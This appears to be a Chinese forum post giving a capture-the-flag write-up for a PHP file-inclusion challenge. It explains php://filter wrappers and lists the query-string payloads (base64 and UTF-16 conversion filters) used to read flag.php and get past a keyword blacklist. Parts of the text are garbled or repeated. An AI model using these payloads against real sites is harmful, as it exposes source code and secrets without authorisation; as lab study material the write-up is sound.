找回密码
 立即注册
首页 业界区 安全 攻防世界-file_include

攻防世界-file_include

米榜饴 2025-6-13 17:57:55
file_include
  1. [/code]php://filter:php的伪协议,用于对数据流进行过滤处理。
  2. 文件包含漏洞
  3. [code]//代码中存在类似 include()、require()、file_get_contents() 等函数,并且参数用户可控
  4. eg: include($_GET['file']);  // 比如 ?file=index.php
复制代码
为什么用 php://filter
如果直接包含 .php 文件,PHP 会执行它,而不是显示源码。
使用 php://filter 可以 避免代码执行,而是以 编码后的形式读取源码(如 Base64、UTF-16 等)。
resource= 这个参数是必须的,它指定了你要筛选过滤的数据流。
read= 对读取的数据流应用一个或多个过滤器(按顺序处理)
  1. php://filter/read=convert.base64-encode/resource=flag.php
  2. #先读取flag.php,在对其内容进行base64编码
复制代码
write= 对写入的数据流应用一个或多个过滤器
  1. php://filter/write=string.rot13/resource=test.txt
  2. #php://filter/write=string.rot13/resource=test.txt
复制代码
若未指定 read= 或 write=,过滤器会同时应用于读写链(根据操作类型自动适配)。
伪协议种类
file://  访问本地文件系统
http://  访问http(s)网址
ftp://  访问ftp
php://  访问各个输入/输出流
zlib://  压缩流
data://  数据
rar://  RAR压缩包
ogg://  音频流
文件读取(无需执行php代码)
特征
系统允许读取文件,但可能:
过滤了 ../(目录穿越)
限制文件后缀(如只允许 .txt)

对文件内容做检查(如检测 ),导致无法看到源码内容(仅显示执行结果)。?filename=php://filter/convert.base64-encode/resource=flag.php#使用 convert.base64-encode#将 flag.php 的内容转换为 Base64 编码字符串(非执行),从而绕过 PHP 解析,直接输出编码后的源码。convert.iconv.utf8.utf16 → 让文件内容变成 UTF-16,可能绕过某些正则检测
convert.base64-encode → 让文件变成 Base64,避免直接显示 PHP 代码#使用 convert.iconv.utf8.utf16#将文件内容从 UTF-8 编码转换为 UTF-16,导致以下效果:/*1.破坏 PHP 标签结构:原始  的 UTF-8 字节序列被转换后,无法被 PHP 识别为合法标签,从而阻止代码执行。例如:,转换后会显示为乱码,但敏感信息(如 FLAG{xxx})仍可被识别。[/code]
php支持的字符编码
绕过WAF/黑名单
直接访问 flag.php 被拦截,但 php://filter 可能未被检测。
  1. convert.iconv.utf8.utf16 → 让文件内容变成 UTF-16,可能绕过某些正则检测
  2. convert.base64-encode → 让文件变成 Base64,避免直接显示 PHP 代码
复制代码
详解php://filter以及死亡绕过
php://filter的各种过滤器
wp
  1. ?filename=flag.php
  2. #直接读取 flag.php(无过滤器)
  3. #PHP 会直接解析 flag.php 中的代码(如执行 <?php $flag="FLAG{xxx}"; ?>),导致无法看到源码内容(仅显示执行结果)。
  4. ?filename=php://filter/convert.base64-encode/resource=flag.php
  5. #使用 convert.base64-encode
  6. #将 flag.php 的内容转换为 Base64 编码字符串(非执行),从而绕过 PHP 解析,直接输出编码后的源码。
  7. ?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
  8. #使用 convert.iconv.utf8.utf16
  9. #将文件内容从 UTF-8 编码转换为 UTF-16,导致以下效果:
  10. /*
  11. 1.破坏 PHP 标签结构:
  12. 原始 <?php ?> 的 UTF-8 字节序列被转换后,无法被 PHP 识别为合法标签,从而阻止代码执行。
  13. 例如:<?php → UTF-16 可能变为 \x00<\x00?\x00p\x00h\x00p\x00(不可执行)。
  14. 2.输出转换后的“乱码”:
  15. 文件内容以 UTF-16 形式输出(包含大量空字节 \x00 和编码字符)。
  16. 若 flag.php 内容为 <?php $flag="FLAG{xxx}"; ?>,转换后会显示为乱码,但敏感信息(如 FLAG{xxx})仍可被识别。
复制代码
发现有过滤,提示“do not hack!" 猜测是黑名单检测敏感字符串
抓包字符集爆破
  1. ?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
复制代码
  1. ?filename=php://filter/convert.base64/resource=flag.php
复制代码
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册